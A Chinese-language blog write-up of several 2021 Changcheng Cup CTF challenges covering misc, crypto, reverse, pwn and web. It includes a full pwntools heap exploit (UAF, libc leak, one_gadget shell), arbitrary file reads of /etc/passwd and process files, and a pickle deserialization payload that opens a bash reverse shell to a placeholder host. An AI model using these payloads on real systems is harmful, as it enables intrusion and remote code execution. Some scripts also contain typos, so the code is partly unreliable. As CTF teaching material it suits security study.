2021长城杯部分wp

2021长城杯部分wp

misc

签到

16进制转字符串+base64解码

你这flag保熟吗

附件是1.png,2.png和flag.rar,但是flag.rar被加密,可能是通过1.png和2.png找到密码,两个图片其实都藏了附件,因为文件很大,分解后分别得到

还有一个hint.txt

00000000: 7061 7373 776f 7264 e8a2 ab62 6173 6536  password...base6
00000010: 34e7 bc96 e7a0 81e4 ba86 3235 e6ac a1ef  4.........25....
00000020: bc8c e7bc 96e7 a081 e590 8ee7 9a84 e589  ................
00000030: 8d31 36e4 b8aa e5ad 97e7 aca6 e4b8 ba56  .16............V
00000040: 6d30 7764 3251 7955 586c 5657 4778 57    m0wd2QyUXlVWGxW

hint的txt给了base64和一些可见字符,将字符按照顺序在上图中画出来,就得到

判断是希尔伯特曲线, 希尔伯特曲线是一种能填充满一个平面正方形的分形曲线(空间填充曲线),由大卫·希尔伯特在1891年提出。(选择百度百科),根据形状,这个正方形的规模应该是16x16,根据题意应该就是反向操作找出字符,然后base64解密

from hilbertcurve.hilbertcurve import HilbertCurve
from pandas import *
from base64 import *

arr = read_excel('./password.xls',header=None)
hilbert_curve = HilbertCurve(17, 2)
flag_base64 = ''
for i in range(np.size(arr)):
	[x,y] = hilbert_curve.point_from_distance(i)
	flag_base64 += str(arr[y][x])

for i in range(len(flag_base64)):
	if flag_base64[i]=='=':
		break
flag_base64 = flag_base64[:i+2]
while True:
	try:
		flag_base64 = b64decode(flag_base64)
	except:
		print(flag_base64)
		break
#1f_y0u_h4ve_7he_fllllllag,_I_muSt_vvant_1t!

解密rar文件,得到 brainfuck编码,但是直接解码失败,然后就。。。没了,待更新吧

crypto

baby_rsa

#!/usr/bin/env python3

from Crypto.Util.number import *
from secret import flag, v1, v2, m1, m2


def enc_1(val):
    #p = (v1^m1+1)-(v1+1)^m1  
    #q = (v2^m2+1)-(v2+1)^m2
    p, q = pow(v1, (m1+1))-pow((v1+1), m1), pow(v2, (m2+1))-pow((v2+1), m2)
    assert isPrime(p) and isPrime(q) and (
        p*q).bit_length() == 2048 and q < p < q << 3
    return pow(val, 0x10001, p*q)


def enc_2(val):
    assert val.bit_length() < 512
    while True:
        fac = [getPrime(512) for i in range(3)]
        if isPrime(((fac[0]+fac[1]+fac[2]) << 1) - 1):
            n = fac[0]*fac[1]*fac[2]*(((fac[0]+fac[1]+fac[2]) << 1) - 1)
            break
    c = pow(val, 0x10001, n)
    return (c, n, ((fac[0]+fac[1]+fac[2]) << 1) - 1)


if __name__ == "__main__":
    assert flag[:5] == b'flag{'
    plain1 = bytes_to_long(flag[:21])#前21位
    plain2 = bytes_to_long(flag[21:])
    print(enc_1(plain1))
    print(enc_2(plain2))

这个题感觉有点问题,但是还是做吧,flag被分为两部分,我们一部分一部分求,先看加密1,未知量太多了,直接无脑爆破,加密2,直接分解fac[0]+fac[1]+fac[2]) << 1) - 1,后半部分的flag比较容易求

from gmpy2 import *
from Crypto.Util.number import *

c = 40625981017250262945230548450738951725566520252163410124565622126754739693681271649127104109038164852787767296403697462475459670540845822150397639923013223102912674748402427501588018866490878394678482061561521253365550029075565507988232729032055298992792712574569704846075514624824654127691743944112075703814043622599530496100713378696761879982542679917631570451072107893348792817321652593471794974227183476732980623835483991067080345184978482191342430627490398516912714451984152960348899589532751919272583098764118161056078536781341750142553197082925070730178092561314400518151019955104989790911460357848366016263083
n = 43001726046955078981344016981790445980199072066019323382068244142888931539602812318023095256474939697257802646150348546779647545152288158607555239302887689137645748628421247685225463346118081238718049701320726295435376733215681415774255258419418661466010403928591242961434178730846537471236142683517399109466429776377360118355173431016107543977241358064093102741819626163467139833352454094472229349598479358367203452452606833796483111892076343745958394932132199442718048720633556310467019222434693785423996656306612262714609076119634814783438111843773649519101169326072793596027594057988365133037041133566146897868269
f = 39796272592331896400626784951713239526857273168732133046667572399622660330587881579319314094557011554851873068389016629085963086136116425352535902598378739
fac012 = n//f
e = 0x10001

p=[191,193,627383,1720754738477317127758682285465031939891059835873975157555031327070111123628789833299433549669619325160679719355338187877758311485785197492710491]
phi=1
for i in p:
 phi*=i-1

d=inverse(0x10001,phi)
print(long_to_bytes(pow(c,d,f)))

Reverse

jusr_cmp-re

ida分析

__int64 __fastcall main(signed int a1, char **a2, char **a3)
{
  if ( a1 > 1 )
  {
    if ( !strcmp(a2[1], "flag{********************************}") )
      puts("Correct!");
    else
      puts("Wrong!");
  }
  else
  {
    printf("Usage: %s <FLAG>
", *a2, a3, a2);
  }
  return 0LL;
}

主程序很短,并且没有什么flag相关的函数调用,直接运行

root@kali:~/root# ./Just_cmp-re flag{********************************}
Correct!

直接就这样,没了。。。非常奇怪,正常来说这里应该显示错误才对,看一下其他init函数,反编译后如下

void __fastcall init(unsigned int a1, __int64 a2, __int64 a3)
{
  __int64 v3; // r13
  signed __int64 v4; // rbp
  __int64 v5; // rbx

  v3 = a3;
  v4 = &off_200DE8 - off_200DD8;
  init_proc();
  if ( v4 )
  {
    v5 = 0LL;
    do
      ((void (__fastcall *)(_QWORD, __int64, __int64))off_200DD8[v5++])(a1, a2, v3);
    while ( v5 != v4 );
  }
}

还原的代码有点奇怪,可以看一下汇编代码

这段代码实际上执行了两个函数,但是依旧没有看到和flag相关的函数,但是能找到一个加密函数,但是实际上并没有被调用,或者替换了函数地址

__int64 __fastcall sub_800(__int64 a1, __int64 a2)
{
  int i; // [rsp+18h] [rbp-8h]
  int v4; // [rsp+18h] [rbp-8h]
  int j; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; *(_BYTE *)(i + a1); ++i )
    ;
  v4 = (i >> 3) + 1;
  for ( j = 0; j < v4; ++j )
    *(_QWORD *)(8 * j + a1) -= qword_201060[j];
  return qword_201098(a1, a2);
}

这里就是一直卡住的地方,程序并没有看到调用这个函数的地方,那么是如何加密flag的,希望各位师傅能告知我一下(我认为这个题本身有问题),如果将其看做加密函数,那么直接解密就能得到flag

import binascii
flag_ = 'flag{********************************}'
qword = [0x0A07370000000000, 0x380B06060A080A37, 0x3B0F0E38083B0A07,0x373B0709060B0A3A, 0x0F38070F0D]
flag = b''
for i in range(5):
    p = flag_[i*8:(i+1)*8]
    a = binascii.b2a_hex(p.encode('ascii')[::-1])
    b = binascii.a2b_hex(hex(int(a,16)+qword[i])[2:])[::-1]
    flag += b
print(flag)

这个加密貌似看过几次了,解密脚本都是一样的

funny_js

文件名和字符串都出现js,推测和js有关,发现

基本确定就是quickjs,先找一下符合版本,最终确定为20200119

git clone https://gitee.com/haloxxg/QuickJS/tree/20200119

环境搭建以及修改源码显示反编译结果可见:https://blog.d2x3.cn/kctf2020-第三题-寻踪觅源.html

找一下数据

出现rc4,可能是rc4加密,密钥可能是2021quickjs_happygame

参考https://bbs.pediy.com/thread-258966.htm写个程序观看反编译

#include "quickjs-libc.h"
const uint32_t qjsc_s = 0x4c0;

const uint8_t qjsc_s[0x4c0] = {
0x02,0x1B,0x06,0x72,0x63,0x34,0x04,0x73,0x6E,0x02,0x69,0x02,0x6A,0x02,0x6B,0x02,
0x6C,0x02,0x6D,0x02,0x6E,0x04,0x75,0x6E,0x06,0x61,0x72,0x72,0x0C,0x63,0x69,0x70,
0x68,0x65,0x72,0x2A,0x32,0x30,0x32,0x31,0x71,0x75,0x69,0x63,0x6B,0x6A,0x73,0x5F,
0x68,0x61,0x70,0x70,0x79,0x67,0x61,0x6D,0x65,0x48,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,
0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,
0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x02,0x73,
0x18,0x66,0x72,0x6F,0x6D,0x43,0x68,0x61,0x72,0x43,0x6F,0x64,0x65,0x0A,0x70,0x72,
0x69,0x6E,0x74,0x12,0x73,0x6F,0x75,0x72,0x63,0x65,0x2E,0x6A,0x73,0x08,0x64,0x61,
0x74,0x61,0x06,0x6B,0x65,0x79,0x06,0x62,0x6F,0x78,0x02,0x78,0x08,0x74,0x65,0x6D,
0x70,0x02,0x79,0x06,0x6F,0x75,0x74,0x08,0x63,0x6F,0x64,0x65,0x14,0x63,0x68,0x61,
0x72,0x43,0x6F,0x64,0x65,0x41,0x74,0x08,0x70,0x75,0x73,0x68,0x0E,0x00,0x06,0x00,
0x9E,0x01,0x00,0x01,0x00,0x20,0x00,0x08,0xEB,0x04,0x01,0xA0,0x01,0x00,0x00,0x00,
0x40,0xDF,0x00,0x00,0x00,0x40,0x40,0xE0,0x00,0x00,0x00,0x00,0x40,0xE1,0x00,0x00,
0x00,0x00,0x40,0xE2,0x00,0x00,0x00,0x00,0x40,0xE3,0x00,0x00,0x00,0x00,0x40,0xE4,
0x00,0x00,0x00,0x00,0x40,0xE5,0x00,0x00,0x00,0x00,0x40,0xE6,0x00,0x00,0x00,0x00,
0x40,0xE7,0x00,0x00,0x00,0x00,0x40,0xE8,0x00,0x00,0x00,0x00,0x40,0xE9,0x00,0x00,
0x00,0x00,0x40,0xE1,0x00,0x00,0x00,0x00,0xC2,0x00,0x41,0xDF,0x00,0x00,0x00,0x00,
0x3F,0xE0,0x00,0x00,0x00,0x00,0x3F,0xE1,0x00,0x00,0x00,0x00,0x3F,0xE2,0x00,0x00,
0x00,0x00,0x3F,0xE3,0x00,0x00,0x00,0x00,0x3F,0xE4,0x00,0x00,0x00,0x00,0x3F,0xE5,
0x00,0x00,0x00,0x00,0x3F,0xE6,0x00,0x00,0x00,0x00,0x3F,0xE7,0x00,0x00,0x00,0x00,
0x3F,0xE8,0x00,0x00,0x00,0x00,0x3F,0xE9,0x00,0x00,0x00,0x00,0x3F,0xE1,0x00,0x00,
0x00,0x00,0x04,0xEA,0x00,0x00,0x00,0x11,0x3A,0xE7,0x00,0x00,0x00,0x0E,0x04,0xEB,
0x00,0x00,0x00,0x11,0x3A,0xE0,0x00,0x00,0x00,0xCB,0xC0,0x96,0x00,0xC0,0xE0,0x00,
0xC0,0xF4,0x00,0xBF,0x44,0xBF,0x3D,0xBF,0x7D,0xBF,0x08,0xC0,0xEF,0x00,0xC0,0xCB,
0x00,0xC0,0xFE,0x00,0xC0,0xF1,0x00,0xBF,0x71,0xC0,0xD5,0x00,0xC0,0xB0,0x00,0xBF,
0x40,0xBF,0x6A,0xBF,0x67,0xC0,0xA6,0x00,0xC0,0xB9,0x00,0xC0,0x9F,0x00,0xC0,0x9E,
0x00,0xC0,0xAC,0x00,0xBF,0x09,0xC0,0xD5,0x00,0xC0,0xEF,0x00,0xBF,0x0C,0xBF,0x64,
0xC0,0xB9,0x00,0xBF,0x5A,0xC0,0xAE,0x00,0xBF,0x6B,0xC0,0x83,0x00,0x26,0x20,0x00,
0xC0,0xDF,0x00,0x4D,0x20,0x00,0x00,0x80,0xBF,0x7A,0x4D,0x21,0x00,0x00,0x80,0xC0,
0xE5,0x00,0x4D,0x22,0x00,0x00,0x80,0xC0,0x9D,0x00,0x4D,0x23,0x00,0x00,0x80,0x11,
0x3A,0xE8,0x00,0x00,0x00,0x0E,0xC1,0x01,0x11,0x3A,0xE5,0x00,0x00,0x00,0xCB,0xC1,
0x02,0x11,0x3A,0xE6,0x00,0x00,0x00,0xCB,0xB7,0x11,0x3A,0xE4,0x00,0x00,0x00,0xCB,
0xB7,0x11,0x3A,0xE3,0x00,0x00,0x00,0xCB,0x39,0xDF,0x00,0x00,0x00,0x39,0xE0,0x00,
0x00,0x00,0x39,0xE7,0x00,0x00,0x00,0xF2,0x11,0x3A,0xE9,0x00,0x00,0x00,0x0E,0x06,
0xCB,0xB7,0x11,0x3A,0xE1,0x00,0x00,0x00,0x0E,0x39,0xE1,0x00,0x00,0x00,0x39,0xE9,
0x00,0x00,0x00,0xEB,0xA5,0xEC,0x6E,0x39,0xE9,0x00,0x00,0x00,0x39,0xE1,0x00,0x00,
0x00,0x48,0x11,0x3A,0xE2,0x00,0x00,0x00,0xCB,0x39,0xE2,0x00,0x00,0x00,0xBF,0x38,
0xBF,0x11,0xA0,0xB0,0x11,0x3A,0xE4,0x00,0x00,0x00,0xCB,0x06,0xCB,0x39,0xE4,0x00,
0x00,0x00,0x39,0xE8,0x00,0x00,0x00,0x39,0xE3,0x00,0x00,0x00,0x48,0xAB,0xEC,0x0F,
0x39,0xE5,0x00,0x00,0x00,0x93,0x3A,0xE5,0x00,0x00,0x00,0xCB,0xEE,0x0D,0x39,0xE6,
0x00,0x00,0x00,0x93,0x3A,0xE6,0x00,0x00,0x00,0xCB,0x39,0xE3,0x00,0x00,0x00,0x93,
0x3A,0xE3,0x00,0x00,0x00,0xCB,0x39,0xE1,0x00,0x00,0x00,0x93,0x3A,0xE1,0x00,0x00,
0x00,0x0E,0xEE,0x86,0x06,0xCB,0x39,0xE5,0x00,0x00,0x00,0x39,0xE9,0x00,0x00,0x00,
0xEB,0xAB,0xEC,0x15,0x39,0xE6,0x00,0x00,0x00,0xB7,0xAB,0xEC,0x0C,0xC1,0x03,0x11,
0x3A,0xE6,0x00,0x00,0x00,0xCB,0xEE,0x0A,0xC1,0x04,0x11,0x3A,0xE6,0x00,0x00,0x00,
0xCB,0xC3,0x11,0x3A,0xEC,0x00,0x00,0x00,0xCB,0x06,0xCB,0x39,0xE6,0x00,0x00,0x00,
0xC1,0x05,0xA7,0xEC,0x3A,0x39,0xEC,0x00,0x00,0x00,0x39,0x97,0x00,0x00,0x00,0x43,
0xED,0x00,0x00,0x00,0x39,0x96,0x00,0x00,0x00,0x39,0xE6,0x00,0x00,0x00,0xC1,0x06,
0x9E,0xF1,0x24,0x01,0x00,0x9F,0x11,0x3A,0xEC,0x00,0x00,0x00,0xCB,0x39,0xE6,0x00,
0x00,0x00,0xC1,0x07,0x9D,0x11,0x3A,0xE6,0x00,0x00,0x00,0xCB,0xEE,0xBE,0x39,0xEE,
0x00,0x00,0x00,0x39,0xEC,0x00,0x00,0x00,0xF1,0xCF,0x28,0xDE,0x03,0x01,0x20,0x00,
0x48,0x01,0x00,0x4A,0x52,0x3F,0x40,0x00,0x7C,0x04,0x30,0x30,0x2B,0x2B,0x77,0x7B,
0x5D,0x5D,0x6C,0x3F,0x0E,0x40,0x3F,0x4A,0xB7,0x30,0x2B,0x3F,0xCB,0x4E,0x0D,0x0E,
0x43,0x06,0x00,0xBE,0x03,0x02,0x08,0x02,0x05,0x00,0x00,0xBB,0x01,0x0A,0xE0,0x03,
0x00,0x01,0x00,0xE2,0x03,0x00,0x01,0x00,0xE4,0x03,0x00,0x00,0x00,0xC2,0x03,0x00,
0x01,0x00,0xE6,0x03,0x00,0x02,0x00,0xE8,0x03,0x00,0x03,0x00,0xEA,0x03,0x00,0x04,
0x00,0xEC,0x03,0x00,0x05,0x00,0xEE,0x03,0x00,0x06,0x00,0xC6,0x03,0x00,0x07,0x00,
0x39,0x94,0x00,0x00,0x00,0xC0,0x00,0x01,0xF1,0xCB,0xB7,0xCC,0xC8,0xC0,0x00,0x01,
0xA5,0xEC,0x09,0xC7,0xC8,0xC8,0x4A,0x95,0x01,0xEE,0xF2,0xB7,0xCD,0xB7,0xCC,0xC8,
0xC0,0x00,0x01,0xA5,0xEC,0x2C,0xC9,0xC7,0xC8,0x48,0x9F,0xD4,0x43,0xF8,0x00,0x00,
0x00,0xC8,0xD4,0xEB,0x9E,0x24,0x01,0x00,0x9F,0xC0,0x00,0x01,0x9E,0xCD,0xC7,0xC8,
0x48,0xCE,0xC7,0xC8,0x72,0xC7,0xC9,0x48,0x4A,0xC7,0xC9,0xCA,0x4A,0x95,0x01,0xEE,
0xCF,0xB7,0xCD,0xB7,0xC5,0x04,0x26,0x00,0x00,0xC5,0x05,0xB7,0xCC,0xC8,0xD3,0xEB,
0xA5,0xEC,0x56,0xD3,0x43,0xF8,0x00,0x00,0x00,0xC8,0x24,0x01,0x00,0xC5,0x06,0xC9,
0xB8,0x9F,0xC0,0x00,0x01,0x9E,0xCD,0xC4,0x04,0xC7,0xC9,0x48,0x9F,0xC0,0x00,0x01,
0x9E,0xC5,0x04,0xC7,0xC9,0x48,0xCE,0xC7,0xC9,0x72,0xC7,0xC4,0x04,0x48,0x4A,0xC7,
0xC4,0x04,0xCA,0x4A,0xC7,0xC9,0x48,0xC7,0xC4,0x04,0x48,0x9F,0xC0,0x00,0x01,0x9E,
0xC5,0x07,0xC4,0x05,0x43,0xF9,0x00,0x00,0x00,0xC4,0x06,0xC7,0xC4,0x07,0x48,0xB0,
0x24,0x01,0x00,0x0E,0x95,0x01,0xEE,0xA6,0xC4,0x05,0x28,0xDE,0x03,0x03,0x19,0x04,
0x35,0x30,0x17,0x18,0x0D,0x30,0x7B,0x17,0x26,0x17,0x19,0x0D,0x12,0x1C,0x2C,0x40,
0x2B,0x3F,0x17,0x2B,0x1D,0x4A,0x5D,0x17,0x0A,0x00,0x0A,0x00,0x0A,0xE8,0x01,0x07,
0x44,0xB8,0x90,0xB5,0x6B,0x67,0x80,0x0A,0xE8,0x01,0x07,0x34,0xA7,0xB8,0x48,0x7F,
0x8D,0xAF,0x0A,0x00,0x0A,0x28,0x01,0xFE,0x0A,0x28,0x01,0xFE,0x00,0x00,0x00,0x00,
0xB0,0x74,0xA3,0x0F,0xC8,0x55,0x00,0x00,0xB0,0x74,0xA3,0x0F,0xC8,0x55,0x00,0x00,
0xC0,0x74,0xA3,0x0F,0xC8,0x55,0x00,0x00,0xC0,0x74,0xA3,0x0F,0xC8,0x55,0x00,0x00,
0xD0,0x74,0xA3,0x0F,0xC8,0x55,0x00,0x00,0xD0,0x74,0xA3,0x0F,0xC8,0x55,0x00,0x00
};

int main(int argc, char **argv)
{
  JSRuntime *rt;
  JSContext *ctx;
  rt = JS_NewRuntime();
  ctx = JS_NewContextRaw(rt);
  JS_SetModuleLoaderFunc(rt, NULL, js_module_loader, NULL);
  JS_AddIntrinsicBaseObjects(ctx);
  JS_AddIntrinsicDate(ctx);
  JS_AddIntrinsicEval(ctx);
  JS_AddIntrinsicStringNormalize(ctx);
  JS_AddIntrinsicRegExp(ctx);
  JS_AddIntrinsicJSON(ctx);
  JS_AddIntrinsicProxy(ctx);
  JS_AddIntrinsicMapSet(ctx);
  JS_AddIntrinsicTypedArrays(ctx);
  JS_AddIntrinsicPromise(ctx);
  JS_AddIntrinsicBigInt(ctx);
  js_std_add_helpers(ctx, argc, argv);
  js_std_eval_binary(ctx, qjsc_s, 0x4c0, 0);
  js_std_loop(ctx);
  JS_FreeContext(ctx);
  JS_FreeRuntime(rt);
  return 0;
}

编译运行cc funny_js.c -lm -ldl libquickjs.lto.a -o funny_js,提取出密文

150, 224, 244, 68, 61, 125, 8, 239, 203, 254, 241, 113, 213, 176, 64, 106, 103,166, 185, 159, 158, 172, 9, 213, 239, 12, 100, 185, 90, 174, 107, 131, 223, 122, 229,157

根据反汇编的结果,是将flag进行rc4加密,然后异或39,逆向操作解得到flag

pwn

K1ng_in_h3Ap1

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开,64位程序,ida分析

添加堆的函数

_DWORD *add()
{
  _DWORD *result; // rax
  int v1; // [rsp+8h] [rbp-8h]
  int heap_size; // [rsp+Ch] [rbp-4h]

  puts("input index:");
  v1 = input();
  if ( v1 < 0 || v1 > 10 )                      // 10以内
    exit(0);
  puts("input size:");
  heap_size = input();
  if ( heap_size < 0 || heap_size > 240 )       // 大小
    exit(0);
  heap_addr[v1] = malloc(heap_size);            // 存放堆地址
  result = heap_szie_shuzu;
  heap_szie_shuzu[v1] = heap_size;              // 存放堆地址大小的数组
  return result;                                // 返回数组
}

泄露的函数

int leak_()
{
  return printf("%p
", (unsigned __int64)&printf & 0xFFFFFF);
}

漏洞出现在delete函数上,存在uaf

void delete()
{
  int v0; // [rsp+Ch] [rbp-4h]

  puts("input index:");
  v0 = input();
  if ( v0 < 0 || v0 > 10 || !heap_addr[v0] || !heap_szie_shuzu[v0] )
    exit(0);
  free(heap_addr[v0]);                          // uaf漏洞
}

分析:程序给我们一个leak函数,泄露printf函数低3位,那其实利用利用偏移找到其他函数或者结构地址(比如找到7f绕开fastbin的检测),结合之前祥云杯学到的一个_IO_2_1_stdout_ 泄露libc:https://www.jianshu.com/p/27152c14e2e7

因为是2.23版本,unsorded bin直接结合fastbin attack来泄露即可,还有就是结合one_gadget,但是得进行抬栈操作,注意不能使用malloc_hook因为过不了fastbin的检测,这里可以使用_IO_wide_data_0+301,这里的值可以绕开fastbin检测

总之:低版本的glibc泄露libc没有高版本的简单(对比祥云杯)

exp参考了北岛师傅,写得比较易懂,比较适合学习,我的死活打不通就不献丑了

from pwn import *

context(os = "linux", arch = "amd64")#,log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']

r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./K1ng_in_h3Ap'],env={"LD_PRELOAD":"./changcheng_libc.so.6"})

elf = ELF('./K1ng_in_h3Ap')
libc = ELF('changcheng_libc.so.6')

def add(idx,size):
    r.recvuntil('>> 
')
    r.sendline('1')
    r.recvuntil('input index:')
    r.sendline(str(idx))
    r.recvuntil('input size:')
    r.sendline(str(size))

def free(idx):
    r.recvuntil('>> 
')
    r.sendline('2')
    r.recvuntil('input index:')
    r.sendline(str(idx))

def edit(idx,content):
    r.recvuntil('>> 
')
    r.sendline('3')
    r.recvuntil('input index:')
    r.sendline(str(idx))
    r.recvuntil('input context:')
    r.sendline(content)

def leak_():
    r.recvuntil('>> 
')
    r.sendline('666')

leak_()
recv_addr = r.recv(8)
leak = int(recv_addr,16)
print(hex(leiak))
#gdb.attach(r)
stderr_157 = leak+0x36fdcd

add(0,0x60)
add(1,0x60)
add(2,0xa0)
add(3,0x60)

free(2)
add(4,0x60)#from unsorded bin
edit(4,p8(stderr_157&0xff)+p16(stderr_157>>8))
free(0)
free(1)#fatsbin1->fastbin0
edit(1,p8(0xe0))#unsorded bin in fastbin
add(5,0x60)
add(6,0x60)
add(7,0x60)
payload = 'aaa'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+'x00'
edit(7,payload)
leak_libc = u64(r.recvuntil('x7f')[-6:].ljust(8, 'x00'))

libc_base = leak_libc-0x3c5600
print('libc_base',hex(libc_base))

instant_malloc_hook = libc_base+0x3c4aed
print('instant_malloc_hook',hex(instant_malloc_hook))

r.recv()
r.sendline('1')
r.recvuntil('input index:')
r.sendline('8')
r.recvuntil('input size:')
r.sendline('96')#add(8)
r.recv()
r.sendline('2')
r.recvuntil('input index:')
r.sendline('8')#free(8)

#make fastbin fd to fake chunk
r.recv()
r.sendline('3')
r.recvuntil('input index:')
r.sendline('8')
r.recvuntil('input context:')
r.sendline(p64(instant_malloc_hook))#edit(8)

r.recv()
r.sendline('1')
r.recvuntil('input index:')
r.sendline('9')
r.recvuntil('input size:')
r.sendline('96')#add(8),addr is fake chunk

r.recv()
r.sendline('1')
r.recvuntil('input index:')
r.sendline('10')
r.recvuntil('input size:')
r.sendline('96')

one_gadget=[0x45226, 0x4527a, 0xf03a4, 0xf1247]
shell = one_gadget[3]+libc_base

realloc = libc.sym['__libc_realloc']+libc_base
print('realloc',hex(realloc))
realloc_offset = realloc+12
print('realloc_offset',hex(realloc_offset))
shell_payload = 'x00'+p64(0)+p64(shell)+p64(realloc_offset)

r.recv()
r.sendline('3')
r.recvuntil('input index:')
r.sendline('10')
r.recvuntil('input context:')
r.sendline(shell_payload)


r.recv()
r.sendline('1')
r.recvuntil('input index:')
r.sendline('0')
r.recvuntil('input size:')
#gdb.attach(r)
r.sendline('1')
r.interactive()

K1ng_in_h3Ap2

待复现

web

ez-python

前端发现右键查看源代码有/?pic=1.jpg,发现存在任意文件读取

/?pic=/etc/passwd
利用linux进程符号链接找到源码
/proc/self/cmdline
/proc/self/cwd/app/app.py

得到源码

import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file

app = Flask(__name__)

class User():
    def __init__(self,name,age):
        self.name = name
        self.age = age

def check(s):
    if b'R' in s:
        return 0
    return 1


@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        if check(user):
            user = pickle.loads(user)
            username = user["username"]
        else:
            username = "bad,bad,hacker"
    except:
        username = "CTFer"
    pic = '{0}.jpg'.format(random.randint(1,7))
    
    try:
        pic=request.args.get('pic')
        with open(pic, 'rb') as f:
            base64_data = base64.b64encode(f.read())
            p = base64_data.decode()
    except:
        pic='{0}.jpg'.format(random.randint(1,7))
        with open(pic, 'rb') as f:
            base64_data = base64.b64encode(f.read())
            p = base64_data.decode()

    return render_template('index.html', uname=username, pic=p )


if __name__ == "__main__":
    app.run('0.0.0.0',port=8888)

pickle,但是过滤R,opcode指令反弹shell(和祥云杯的题很像)

import base64
data=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"'
o.'''
print(base64.b64encode(data))

抓包,添加cookie,user=payload,vps得到shell后,读取文件的得到flag

作者:寒江寻影
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须在文章页面给出原文链接,否则保留追究法律责任的权利。
原文地址:https://www.cnblogs.com/crfshadow/p/15320273.html